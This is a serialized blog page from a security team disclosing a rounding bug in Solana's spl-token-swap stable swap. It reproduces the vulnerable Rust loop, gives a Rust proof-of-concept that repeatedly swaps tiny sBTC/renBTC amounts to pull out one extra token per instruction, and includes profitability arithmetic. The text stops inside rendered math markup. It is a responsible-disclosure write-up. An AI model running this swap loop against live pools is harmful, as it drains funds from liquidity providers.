[{"data":1,"prerenderedAt":165052},["ShallowReactive",2],{"blog-/blog/2022-04-26-spl-swap-rounding":3,"featured-blog-posts":2592},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"image":10,"date":14,"isFeatured":15,"tags":16,"onBlogPage":15,"body":19,"_type":2586,"_id":2587,"_source":2588,"_file":2589,"_stem":2590,"_extension":2591},"/blog/2022-04-26-spl-swap-rounding","blog",false,"","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":11,"width":12,"height":13},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",true,[17,18],"solana","report",{"type":20,"children":21,"toc":2580},"root",[22,41,46,51,60,67,72,77,86,96,101,106,114,119,124,534,544,549,1099,1104,1112,1120,1126,1131,1136,1141,1148,1160,1165,1177,1417,1422,1427,1433,1438,1443,1490,1495,1503,1508,1513,1518,1663,1676,1793,1807,1815,1829,1837,1850,1855,1867,1875,1897,2515,2521,2526,2539,2552,2559,2564,2569,2574],{"type":23,"tag":24,"props":25,"children":26},"element","p",{},[27,30,39],{"type":28,"value":29},"text","We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":31,"props":32,"children":36},"a",{"href":33,"rel":34},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[35],"nofollow",[37],{"type":28,"value":38},"spl-token-swap",{"type":28,"value":40},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":24,"props":42,"children":43},{},[44],{"type":28,"value":45},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":24,"props":47,"children":48},{},[49],{"type":28,"value":50},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":24,"props":52,"children":53},{},[54],{"type":23,"tag":55,"props":56,"children":57},"em",{},[58],{"type":28,"value":59},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":61,"props":62,"children":64},"h2",{"id":63},"discovery",[65],{"type":28,"value":66},"Discovery",{"type":23,"tag":24,"props":68,"children":69},{},[70],{"type":28,"value":71},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":24,"props":73,"children":74},{},[75],{"type":28,"value":76},"After a while, he noticed something weird..",{"type":23,"tag":78,"props":79,"children":80},"blockquote",{},[81],{"type":23,"tag":24,"props":82,"children":83},{},[84],{"type":28,"value":85},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":87,"props":88,"children":90},"pre",{"code":89},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[91],{"type":23,"tag":92,"props":93,"children":94},"code",{"__ignoreMap":7},[95],{"type":28,"value":89},{"type":23,"tag":24,"props":97,"children":98},{},[99],{"type":28,"value":100},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":24,"props":102,"children":103},{},[104],{"type":28,"value":105},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":87,"props":107,"children":109},{"code":108},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[110],{"type":23,"tag":92,"props":111,"children":112},{"__ignoreMap":7},[113],{"type":28,"value":108},{"type":23,"tag":24,"props":115,"children":116},{},[117],{"type":28,"value":118},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":24,"props":120,"children":121},{},[122],{"type":28,"value":123},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":87,"props":125,"children":129},{"code":126,"language":127,"meta":7,"className":128,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[130],{"type":23,"tag":92,"props":131,"children":132},{"__ignoreMap":7},[133,145,183,219,330,436,464,477,495,516,525],{"type":23,"tag":134,"props":135,"children":138},"span",{"class":136,"line":137},"line",1,[139],{"type":23,"tag":134,"props":140,"children":142},{"style":141},"--shiki-default:#6A9955",[143],{"type":28,"value":144},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":134,"props":146,"children":148},{"class":136,"line":147},2,[149,155,160,166,172,177],{"type":23,"tag":134,"props":150,"children":152},{"style":151},"--shiki-default:#569CD6",[153],{"type":28,"value":154},"    let",{"type":23,"tag":134,"props":156,"children":157},{"style":151},[158],{"type":28,"value":159}," mut",{"type":23,"tag":134,"props":161,"children":163},{"style":162},"--shiki-default:#9CDCFE",[164],{"type":28,"value":165}," y",{"type":23,"tag":134,"props":167,"children":169},{"style":168},"--shiki-default:#D4D4D4",[170],{"type":28,"value":171}," =",{"type":23,"tag":134,"props":173,"children":174},{"style":162},[175],{"type":28,"value":176}," d_val",{"type":23,"tag":134,"props":178,"children":180},{"style":179},"--shiki-default:#E6E6E6",[181],{"type":28,"value":182},";\n",{"type":23,"tag":134,"props":184,"children":186},{"class":136,"line":185},3,[187,193,198,203,209,214],{"type":23,"tag":134,"props":188,"children":190},{"style":189},"--shiki-default:#C586C0",[191],{"type":28,"value":192},"    for",{"type":23,"tag":134,"props":194,"children":195},{"style":162},[196],{"type":28,"value":197}," _",{"type":23,"tag":134,"props":199,"children":200},{"style":151},[201],{"type":28,"value":202}," in",{"type":23,"tag":134,"props":204,"children":206},{"style":205},"--shiki-default:#B5CEA8",[207],{"type":28,"value":208}," 0",{"type":23,"tag":134,"props":210,"children":211},{"style":168},[212],{"type":28,"value":213},"..",{"type":23,"tag":134,"props":215,"children":216},{"style":179},[217],{"type":28,"value":218},"ITERATIONS {\n",{"type":23,"tag":134,"props":220,"children":222},{"class":136,"line":221},4,[223,228,233,238,243,248,253,258,262,268,273,278,283,287,292,297,302,307,311,316,320,325],{"type":23,"tag":134,"props":224,"children":225},{"style":151},[226],{"type":28,"value":227},"        let",{"type":23,"tag":134,"props":229,"children":230},{"style":179},[231],{"type":28,"value":232}," (",{"type":23,"tag":134,"props":234,"children":235},{"style":162},[236],{"type":28,"value":237},"y_new",{"type":23,"tag":134,"props":239,"children":240},{"style":179},[241],{"type":28,"value":242},", ",{"type":23,"tag":134,"props":244,"children":245},{"style":162},[246],{"type":28,"value":247},"_",{"type":23,"tag":134,"props":249,"children":250},{"style":179},[251],{"type":28,"value":252},") ",{"type":23,"tag":134,"props":254,"children":255},{"style":168},[256],{"type":28,"value":257},"=",{"type":23,"tag":134,"props":259,"children":260},{"style":179},[261],{"type":28,"value":232},{"type":23,"tag":134,"props":263,"children":265},{"style":264},"--shiki-default:#DCDCAA",[266],{"type":28,"value":267},"checked_u8_power",{"type":23,"tag":134,"props":269,"children":270},{"style":179},[271],{"type":28,"value":272},"(",{"type":23,"tag":134,"props":274,"children":275},{"style":168},[276],{"type":28,"value":277},"&",{"type":23,"tag":134,"props":279,"children":280},{"style":162},[281],{"type":28,"value":282},"y",{"type":23,"tag":134,"props":284,"children":285},{"style":179},[286],{"type":28,"value":242},{"type":23,"tag":134,"props":288,"children":289},{"style":205},[290],{"type":28,"value":291},"2",{"type":23,"tag":134,"props":293,"children":294},{"style":179},[295],{"type":28,"value":296},")",{"type":23,"tag":134,"props":298,"children":299},{"style":168},[300],{"type":28,"value":301},"?.",{"type":23,"tag":134,"props":303,"children":304},{"style":264},[305],{"type":28,"value":306},"checked_add",{"type":23,"tag":134,"props":308,"children":309},{"style":179},[310],{"type":28,"value":272},{"type":23,"tag":134,"props":312,"children":313},{"style":162},[314],{"type":28,"value":315},"c",{"type":23,"tag":134,"props":317,"children":318},{"style":179},[319],{"type":28,"value":296},{"type":23,"tag":134,"props":321,"children":322},{"style":168},[323],{"type":28,"value":324},"?",{"type":23,"tag":134,"props":326,"children":327},{"style":179},[328],{"type":28,"value":329},")\n",{"type":23,"tag":134,"props":331,"children":333},{"class":136,"line":332},5,[334,339,344,348,353,357,361,365,369,373,377,381,385,389,394,398,402,407,411,416,420,424,428,432],{"type":23,"tag":134,"props":335,"children":336},{"style":168},[337],{"type":28,"value":338},"            .",{"type":23,"tag":134,"props":340,"children":341},{"style":264},[342],{"type":28,"value":343},"checked_ceil_div",{"type":23,"tag":134,"props":345,"children":346},{"style":179},[347],{"type":28,"value":272},{"type":23,"tag":134,"props":349,"children":350},{"style":264},[351],{"type":28,"value":352},"checked_u8_mul",{"type":23,"tag":134,"props":354,"children":355},{"style":179},[356],{"type":28,"value":272},{"type":23,"tag":134,"props":358,"children":359},{"style":168},[360],{"type":28,"value":277},{"type":23,"tag":134,"props":362,"children":363},{"style":162},[364],{"type":28,"value":282},{"type":23,"tag":134,"props":366,"children":367},{"style":179},[368],{"type":28,"value":242},{"type":23,"tag":134,"props":370,"children":371},{"style":205},[372],{"type":28,"value":291},{"type":23,"tag":134,"props":374,"children":375},{"style":179},[376],{"type":28,"value":296},{"type":23,"tag":134,"props":378,"children":379},{"style":168},[380],{"type":28,"value":301},{"type":23,"tag":134,"props":382,"children":383},{"style":264},[384],{"type":28,"value":306},{"type":23,"tag":134,"props":386,"children":387},{"style":179},[388],{"type":28,"value":272},{"type":23,"tag":134,"props":390,"children":391},{"style":162},[392],{"type":28,"value":393},"b",{"type":23,"tag":134,"props":395,"children":396},{"style":179},[397],{"type":28,"value":296},{"type":23,"tag":134,"props":399,"children":400},{"style":168},[401],{"type":28,"value":301},{"type":23,"tag":134,"props":403,"children":404},{"style":264},[405],{"type":28,"value":406},"checked_sub",{"type":23,"tag":134,"props":408,"children":409},{"style":179},[410],{"type":28,"value":272},{"type":23,"tag":134,"props":412,"children":413},{"style":162},[414],{"type":28,"value":415},"d_val",{"type":23,"tag":134,"props":417,"children":418},{"style":179},[419],{"type":28,"value":296},{"type":23,"tag":134,"props":421,"children":422},{"style":168},[423],{"type":28,"value":324},{"type":23,"tag":134,"props":425,"children":426},{"style":179},[427],{"type":28,"value":296},{"type":23,"tag":134,"props":429,"children":430},{"style":168},[431],{"type":28,"value":324},{"type":23,"tag":134,"props":433,"children":434},{"style":179},[435],{"type":28,"value":182},{"type":23,"tag":134,"props":437,"children":439},{"class":136,"line":438},6,[440,445,450,455,459],{"type":23,"tag":134,"props":441,"children":442},{"style":189},[443],{"type":28,"value":444},"        if",{"type":23,"tag":134,"props":446,"children":447},{"style":162},[448],{"type":28,"value":449}," y_new",{"type":23,"tag":134,"props":451,"children":452},{"style":168},[453],{"type":28,"value":454}," ==",{"type":23,"tag":134,"props":456,"children":457},{"style":162},[458],{"type":28,"value":165},{"type":23,"tag":134,"props":460,"children":461},{"style":179},[462],{"type":28,"value":463}," {\n",{"type":23,"tag":134,"props":465,"children":467},{"class":136,"line":466},7,[468,473],{"type":23,"tag":134,"props":469,"children":470},{"style":189},[471],{"type":28,"value":472},"            break",{"type":23,"tag":134,"props":474,"children":475},{"style":179},[476],{"type":28,"value":182},{"type":23,"tag":134,"props":478,"children":480},{"class":136,"line":479},8,[481,486,491],{"type":23,"tag":134,"props":482,"children":483},{"style":179},[484],{"type":28,"value":485},"        } ",{"type":23,"tag":134,"props":487,"children":488},{"style":189},[489],{"type":28,"value":490},"else",{"type":23,"tag":134,"props":492,"children":493},{"style":179},[494],{"type":28,"value":463},{"type":23,"tag":134,"props":496,"children":498},{"class":136,"line":497},9,[499,504,508,512],{"type":23,"tag":134,"props":500,"children":501},{"style":162},[502],{"type":28,"value":503},"            y",{"type":23,"tag":134,"props":505,"children":506},{"style":168},[507],{"type":28,"value":171},{"type":23,"tag":134,"props":509,"children":510},{"style":162},[511],{"type":28,"value":449},{"type":23,"tag":134,"props":513,"children":514},{"style":179},[515],{"type":28,"value":182},{"type":23,"tag":134,"props":517,"children":519},{"class":136,"line":518},10,[520],{"type":23,"tag":134,"props":521,"children":522},{"style":179},[523],{"type":28,"value":524},"        }\n",{"type":23,"tag":134,"props":526,"children":528},{"class":136,"line":527},11,[529],{"type":23,"tag":134,"props":530,"children":531},{"style":179},[532],{"type":28,"value":533},"    }\n",{"type":23,"tag":24,"props":535,"children":536},{},[537,542],{"type":23,"tag":55,"props":538,"children":539},{},[540],{"type":28,"value":541},"approximate",{"type":28,"value":543},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":24,"props":545,"children":546},{},[547],{"type":28,"value":548},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":87,"props":550,"children":552},{"code":551,"language":127,"meta":7,"className":128,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[553],{"type":23,"tag":92,"props":554,"children":555},{"__ignoreMap":7},[556,564,605,613,643,671,688,704,730,746,762,778,795,812,825,834,857,866,875,944,952,982,990,1022,1030,1090],{"type":23,"tag":134,"props":557,"children":558},{"class":136,"line":137},[559],{"type":23,"tag":134,"props":560,"children":561},{"style":141},[562],{"type":28,"value":563},"// from sbtc to renbtc\n",{"type":23,"tag":134,"props":565,"children":566},{"class":136,"line":147},[567,572,577,581,585,590,595,601],{"type":23,"tag":134,"props":568,"children":569},{"style":189},[570],{"type":28,"value":571},"for",{"type":23,"tag":134,"props":573,"children":574},{"style":162},[575],{"type":28,"value":576}," i",{"type":23,"tag":134,"props":578,"children":579},{"style":151},[580],{"type":28,"value":202},{"type":23,"tag":134,"props":582,"children":583},{"style":205},[584],{"type":28,"value":208},{"type":23,"tag":134,"props":586,"children":587},{"style":168},[588],{"type":28,"value":589}," ..",{"type":23,"tag":134,"props":591,"children":592},{"style":205},[593],{"type":28,"value":594}," 50",{"type":23,"tag":134,"props":596,"children":598},{"style":597},"--shiki-default:#4EC9B0",[599],{"type":28,"value":600},"u8",{"type":23,"tag":134,"props":602,"children":603},{"style":179},[604],{"type":28,"value":463},{"type":23,"tag":134,"props":606,"children":607},{"class":136,"line":185},[608],{"type":23,"tag":134,"props":609,"children":610},{"style":141},[611],{"type":28,"value":612},"    // create swap transaction\n",{"type":23,"tag":134,"props":614,"children":615},{"class":136,"line":221},[616,620,624,629,633,638],{"type":23,"tag":134,"props":617,"children":618},{"style":151},[619],{"type":28,"value":154},{"type":23,"tag":134,"props":621,"children":622},{"style":151},[623],{"type":28,"value":159},{"type":23,"tag":134,"props":625,"children":626},{"style":162},[627],{"type":28,"value":628}," swap_instruction",{"type":23,"tag":134,"props":630,"children":631},{"style":168},[632],{"type":28,"value":171},{"type":23,"tag":134,"props":634,"children":635},{"style":264},[636],{"type":28,"value":637}," swap",{"type":23,"tag":134,"props":639,"children":640},{"style":179},[641],{"type":28,"value":642},"(\n",{"type":23,"tag":134,"props":644,"children":645},{"class":136,"line":332},[646,651,656,661,666],{"type":23,"tag":134,"props":647,"children":648},{"style":168},[649],{"type":28,"value":650},"        &",{"type":23,"tag":134,"props":652,"children":653},{"style":179},[654],{"type":28,"value":655},"spl_token",{"type":23,"tag":134,"props":657,"children":658},{"style":168},[659],{"type":28,"value":660},"::",{"type":23,"tag":134,"props":662,"children":663},{"style":264},[664],{"type":28,"value":665},"id",{"type":23,"tag":134,"props":667,"children":668},{"style":179},[669],{"type":28,"value":670},"(),\n",{"type":23,"tag":134,"props":672,"children":673},{"class":136,"line":438},[674,678,683],{"type":23,"tag":134,"props":675,"children":676},{"style":168},[677],{"type":28,"value":650},{"type":23,"tag":134,"props":679,"children":680},{"style":162},[681],{"type":28,"value":682},"swap_pubkey",{"type":23,"tag":134,"props":684,"children":685},{"style":179},[686],{"type":28,"value":687},",\n",{"type":23,"tag":134,"props":689,"children":690},{"class":136,"line":466},[691,695,700],{"type":23,"tag":134,"props":692,"children":693},{"style":168},[694],{"type":28,"value":650},{"type":23,"tag":134,"props":696,"children":697},{"style":162},[698],{"type":28,"value":699},"swap_authority_pubkey",{"type":23,"tag":134,"props":701,"children":702},{"style":179},[703],{"type":28,"value":687},{"type":23,"tag":134,"props":705,"children":706},{"class":136,"line":479},[707,711,716,721,726],{"type":23,"tag":134,"props":708,"children":709},{"style":168},[710],{"type":28,"value":650},{"type":23,"tag":134,"props":712,"children":713},{"style":162},[714],{"type":28,"value":715},"test_account_signer",{"type":23,"tag":134,"props":717,"children":718},{"style":168},[719],{"type":28,"value":720},".",{"type":23,"tag":134,"props":722,"children":723},{"style":264},[724],{"type":28,"value":725},"pubkey",{"type":23,"tag":134,"props":727,"children":728},{"style":179},[729],{"type":28,"value":670},{"type":23,"tag":134,"props":731,"children":732},{"class":136,"line":497},[733,737,742],{"type":23,"tag":134,"props":734,"children":735},{"style":168},[736],{"type":28,"value":650},{"type":23,"tag":134,"props":738,"children":739},{"style":162},[740],{"type":28,"value":741},"sbtc_user_account",{"type":23,"tag":134,"props":743,"children":744},{"style":179},[745],{"type":28,"value":687},{"type":23,"tag":134,"props":747,"children":748},{"class":136,"line":518},[749,753,758],{"type":23,"tag":134,"props":750,"children":751},{"style":168},[752],{"type":28,"value":650},{"type":23,"tag":134,"props":754,"children":755},{"style":162},[756],{"type":28,"value":757},"sbtc_reserve",{"type":23,"tag":134,"props":759,"children":760},{"style":179},[761],{"type":28,"value":687},{"type":23,"tag":134,"props":763,"children":764},{"class":136,"line":527},[765,769,774],{"type":23,"tag":134,"props":766,"children":767},{"style":168},[768],{"type":28,"value":650},{"type":23,"tag":134,"props":770,"children":771},{"style":162},[772],{"type":28,"value":773},"renbtc_reserve",{"type":23,"tag":134,"props":775,"children":776},{"style":179},[777],{"type":28,"value":687},{"type":23,"tag":134,"props":779,"children":781},{"class":136,"line":780},12,[782,786,791],{"type":23,"tag":134,"props":783,"children":784},{"style":168},[785],{"type":28,"value":650},{"type":23,"tag":134,"props":787,"children":788},{"style":162},[789],{"type":28,"value":790},"renbtc_user_account",{"type":23,"tag":134,"props":792,"children":793},{"style":179},[794],{"type":28,"value":687},{"type":23,"tag":134,"props":796,"children":798},{"class":136,"line":797},13,[799,803,808],{"type":23,"tag":134,"props":800,"children":801},{"style":168},[802],{"type":28,"value":650},{"type":23,"tag":134,"props":804,"children":805},{"style":162},[806],{"type":28,"value":807},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":134,"props":809,"children":810},{"style":179},[811],{"type":28,"value":687},{"type":23,"tag":134,"props":813,"children":815},{"class":136,"line":814},14,[816,821],{"type":23,"tag":134,"props":817,"children":818},{"style":205},[819],{"type":28,"value":820},"        1",{"type":23,"tag":134,"props":822,"children":823},{"style":179},[824],{"type":28,"value":687},{"type":23,"tag":134,"props":826,"children":828},{"class":136,"line":827},15,[829],{"type":23,"tag":134,"props":830,"children":831},{"style":205},[832],{"type":28,"value":833},"        2\n",{"type":23,"tag":134,"props":835,"children":837},{"class":136,"line":836},16,[838,843,847,852],{"type":23,"tag":134,"props":839,"children":840},{"style":179},[841],{"type":28,"value":842},"    )",{"type":23,"tag":134,"props":844,"children":845},{"style":168},[846],{"type":28,"value":720},{"type":23,"tag":134,"props":848,"children":849},{"style":264},[850],{"type":28,"value":851},"unwrap",{"type":23,"tag":134,"props":853,"children":854},{"style":179},[855],{"type":28,"value":856},"();\n",{"type":23,"tag":134,"props":858,"children":860},{"class":136,"line":859},17,[861],{"type":23,"tag":134,"props":862,"children":863},{"emptyLinePlaceholder":15},[864],{"type":28,"value":865},"\n",{"type":23,"tag":134,"props":867,"children":869},{"class":136,"line":868},18,[870],{"type":23,"tag":134,"props":871,"children":872},{"style":141},[873],{"type":28,"value":874},"    // nonce\n",{"type":23,"tag":134,"props":876,"children":878},{"class":136,"line":877},19,[879,884,888,893,897,902,906,910,915,920,925,930,934,939],{"type":23,"tag":134,"props":880,"children":881},{"style":162},[882],{"type":28,"value":883},"    swap_instruction",{"type":23,"tag":134,"props":885,"children":886},{"style":168},[887],{"type":28,"value":720},{"type":23,"tag":134,"props":889,"children":890},{"style":179},[891],{"type":28,"value":892},"data",{"type":23,"tag":134,"props":894,"children":895},{"style":168},[896],{"type":28,"value":720},{"type":23,"tag":134,"props":898,"children":899},{"style":264},[900],{"type":28,"value":901},"append",{"type":23,"tag":134,"props":903,"children":904},{"style":179},[905],{"type":28,"value":272},{"type":23,"tag":134,"props":907,"children":908},{"style":168},[909],{"type":28,"value":277},{"type":23,"tag":134,"props":911,"children":912},{"style":151},[913],{"type":28,"value":914},"mut",{"type":23,"tag":134,"props":916,"children":917},{"style":264},[918],{"type":28,"value":919}," vec!",{"type":23,"tag":134,"props":921,"children":922},{"style":179},[923],{"type":28,"value":924},"[",{"type":23,"tag":134,"props":926,"children":927},{"style":162},[928],{"type":28,"value":929},"i",{"type":23,"tag":134,"props":931,"children":932},{"style":179},[933],{"type":28,"value":242},{"type":23,"tag":134,"props":935,"children":936},{"style":162},[937],{"type":28,"value":938},"extranonce",{"type":23,"tag":134,"props":940,"children":941},{"style":179},[942],{"type":28,"value":943},"]);\n",{"type":23,"tag":134,"props":945,"children":947},{"class":136,"line":946},20,[948],{"type":23,"tag":134,"props":949,"children":950},{"emptyLinePlaceholder":15},[951],{"type":28,"value":865},{"type":23,"tag":134,"props":953,"children":955},{"class":136,"line":954},21,[956,960,964,969,973,977],{"type":23,"tag":134,"props":957,"children":958},{"style":151},[959],{"type":28,"value":154},{"type":23,"tag":134,"props":961,"children":962},{"style":151},[963],{"type":28,"value":159},{"type":23,"tag":134,"props":965,"children":966},{"style":162},[967],{"type":28,"value":968}," instructions",{"type":23,"tag":134,"props":970,"children":971},{"style":168},[972],{"type":28,"value":171},{"type":23,"tag":134,"props":974,"children":975},{"style":264},[976],{"type":28,"value":919},{"type":23,"tag":134,"props":978,"children":979},{"style":179},[980],{"type":28,"value":981},"[];\n",{"type":23,"tag":134,"props":983,"children":985},{"class":136,"line":984},22,[986],{"type":23,"tag":134,"props":987,"children":988},{"emptyLinePlaceholder":15},[989],{"type":28,"value":865},{"type":23,"tag":134,"props":991,"children":993},{"class":136,"line":992},23,[994,999,1003,1008,1012,1017],{"type":23,"tag":134,"props":995,"children":996},{"style":162},[997],{"type":28,"value":998},"    instructions",{"type":23,"tag":134,"props":1000,"children":1001},{"style":168},[1002],{"type":28,"value":720},{"type":23,"tag":134,"props":1004,"children":1005},{"style":264},[1006],{"type":28,"value":1007},"push",{"type":23,"tag":134,"props":1009,"children":1010},{"style":179},[1011],{"type":28,"value":272},{"type":23,"tag":134,"props":1013,"children":1014},{"style":162},[1015],{"type":28,"value":1016},"swap_instruction",{"type":23,"tag":134,"props":1018,"children":1019},{"style":179},[1020],{"type":28,"value":1021},");\n",{"type":23,"tag":134,"props":1023,"children":1025},{"class":136,"line":1024},24,[1026],{"type":23,"tag":134,"props":1027,"children":1028},{"emptyLinePlaceholder":15},[1029],{"type":28,"value":865},{"type":23,"tag":134,"props":1031,"children":1033},{"class":136,"line":1032},25,[1034,1039,1043,1048,1052,1056,1061,1065,1069,1074,1078,1082,1086],{"type":23,"tag":134,"props":1035,"children":1036},{"style":162},[1037],{"type":28,"value":1038},"    env",{"type":23,"tag":134,"props":1040,"children":1041},{"style":168},[1042],{"type":28,"value":720},{"type":23,"tag":134,"props":1044,"children":1045},{"style":264},[1046],{"type":28,"value":1047},"execute_as_transaction",{"type":23,"tag":134,"props":1049,"children":1050},{"style":179},[1051],{"type":28,"value":272},{"type":23,"tag":134,"props":1053,"children":1054},{"style":168},[1055],{"type":28,"value":277},{"type":23,"tag":134,"props":1057,"children":1058},{"style":162},[1059],{"type":28,"value":1060},"instructions",{"type":23,"tag":134,"props":1062,"children":1063},{"style":179},[1064],{"type":28,"value":242},{"type":23,"tag":134,"props":1066,"children":1067},{"style":168},[1068],{"type":28,"value":277},{"type":23,"tag":134,"props":1070,"children":1071},{"style":264},[1072],{"type":28,"value":1073},"vec!",{"type":23,"tag":134,"props":1075,"children":1076},{"style":179},[1077],{"type":28,"value":924},{"type":23,"tag":134,"props":1079,"children":1080},{"style":168},[1081],{"type":28,"value":277},{"type":23,"tag":134,"props":1083,"children":1084},{"style":162},[1085],{"type":28,"value":715},{"type":23,"tag":134,"props":1087,"children":1088},{"style":179},[1089],{"type":28,"value":943},{"type":23,"tag":134,"props":1091,"children":1093},{"class":136,"line":1092},26,[1094],{"type":23,"tag":134,"props":1095,"children":1096},{"style":179},[1097],{"type":28,"value":1098},"}\n",{"type":23,"tag":24,"props":1100,"children":1101},{},[1102],{"type":28,"value":1103},"It works!",{"type":23,"tag":78,"props":1105,"children":1106},{},[1107],{"type":23,"tag":24,"props":1108,"children":1109},{},[1110],{"type":28,"value":1111},"holy shit\nyea, this is big",{"type":23,"tag":24,"props":1113,"children":1114},{},[1115],{"type":23,"tag":1116,"props":1117,"children":1119},"img",{"alt":7,"src":1118},"/posts/spl-swap/poc.png",[],{"type":23,"tag":61,"props":1121,"children":1123},{"id":1122},"exploitability",[1124],{"type":28,"value":1125},"Exploitability",{"type":23,"tag":24,"props":1127,"children":1128},{},[1129],{"type":28,"value":1130},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":24,"props":1132,"children":1133},{},[1134],{"type":28,"value":1135},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":24,"props":1137,"children":1138},{},[1139],{"type":28,"value":1140},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":24,"props":1142,"children":1143},{},[1144],{"type":23,"tag":1116,"props":1145,"children":1147},{"alt":7,"src":1146},"/posts/spl-swap/pr.png",[],{"type":23,"tag":24,"props":1149,"children":1150},{},[1151,1153,1158],{"type":28,"value":1152},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":55,"props":1154,"children":1155},{},[1156],{"type":28,"value":1157},"per instruction",{"type":28,"value":1159},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":24,"props":1161,"children":1162},{},[1163],{"type":28,"value":1164},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":24,"props":1166,"children":1167},{},[1168,1170,1175],{"type":28,"value":1169},"Some quick napkin math confirms that this ",{"type":23,"tag":55,"props":1171,"children":1172},{},[1173],{"type":28,"value":1174},"is",{"type":28,"value":1176}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":24,"props":1178,"children":1179},{},[1180],{"type":23,"tag":92,"props":1181,"children":1185},{"className":1182},[1183,1184],"language-math","math-inline",[1186],{"type":23,"tag":134,"props":1187,"children":1190},{"className":1188},[1189],"katex",[1191],{"type":23,"tag":134,"props":1192,"children":1196},{"className":1193,"ariaHidden":1195},[1194],"katex-html","true",[1197,1306,1362,1402],{"type":23,"tag":134,"props":1198,"children":1201},{"className":1199},[1200],"base",[1202,1208,1215,1279,1289,1295,1302],{"type":23,"tag":134,"props":1203,"children":1207},{"className":1204,"style":1206},[1205],"strut","height:0.8141em;",[],{"type":23,"tag":134,"props":1209,"children":1212},{"className":1210},[1211],"mord",[1213],{"type":28,"value":1214},"1",{"type":23,"tag":134,"props":1216,"children":1218},{"className":1217},[1211],[1219,1225],{"type":23,"tag":134,"props":1220,"children":1222},{"className":1221},[1211],[1223],{"type":28,"value":1224},"0",{"type":23,"tag":134,"props":1226,"children":1229},{"className":1227},[1228],"msupsub",[1230],{"type":23,"tag":134,"props":1231,"children":1234},{"className":1232},[1233],"vlist-t",[1235],{"type":23,"tag":134,"props":1236,"children":1239},{"className":1237},[1238],"vlist-r",[1240],{"type":23,"tag":134,"props":1241,"children":1244},{"className":1242,"style":1206},[1243],"vlist",[1245],{"type":23,"tag":134,"props":1246,"children":1248},{"style":1247},"top:-3.063em;margin-right:0.05em;",[1249,1255],{"type":23,"tag":134,"props":1250,"children":1254},{"className":1251,"style":1253},[1252],"pstrut","height:2.7em;",[],{"type":23,"tag":134,"props":1256,"children":1262},{"className":1257},[1258,1259,1260,1261],"sizing","reset-size6","size3","mtight",[1263],{"